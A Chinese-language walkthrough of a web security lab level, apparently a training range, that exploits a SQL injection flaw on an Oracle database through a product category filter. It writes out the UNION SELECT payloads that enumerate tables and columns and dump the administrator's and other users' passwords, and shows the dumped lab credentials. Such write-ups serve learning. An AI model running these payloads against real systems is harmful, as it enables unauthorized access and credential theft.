第六关 SQL 注入攻击,列出 Oracle 上的数据库内容
这一关和第五关同样的道理,也是先查询表,再查询字段信息,最后在查询出账户和密码,然后以管理员的身份进行登录
提示中:也是在产品类别筛选器中包含一个 SQL 注入漏洞
1、需要注意的是在 Oracle 数据库上,每个 SELECT 语句,from后面必须跟有效的表名。
2、Oracle 上有一个名为 dual 的内置表
1、随便点击个类别

2、到bp的HTTP history里面找到触发的数据包,然后发往repeater:

3、尝试用一个字段列
' UNION SELECT 'abc' FROM dual --
报错

4、再用两个字段列

5、确定存在两列后,去靶场提示里去找sql语句
查询表的sql语句
SELECT * FROM all_tables

6、拦截数据包
查询表名sql语句
' UNION SELECT NULL,table_name FROM all_tables --

7、插入SQL语句成功

成功暴露出所有表信息
选择用户表USERS_GBSCLF

8、有了表名查询字段信息
先到提示中给的查询字段信息的sql语句

拦截数据包,修改sql语句,然后放包
查询字段:
' UNION SELECT null,column_name FROM all_tab_columns WHERE table_name='USERS_GBSCLF' --

成功插入sql语句

暴露的字段信息
| PASSWORD_YANLHL |
| USERNAME_BLQMLA |

9、有了表名和字段信息,构造最终查询字段内容的sql语句
拦截数据包
构造的sql语句
' UNION SELECT USERNAME_BLQMLA,PASSWORD_YANLHL FROM USERS_GBSCLF --

成功插入:

暴露的信息
| administrator |
p4rtrxrp17r9uobh0ctf |
| carlos |
rfldwevhdm0e0njojkqs |
| wiener |
ah6p3go1nrxrm6ip9nhv |

10、有了暴露出来账户和密码,从而进行登录


登录成功,靶场过关
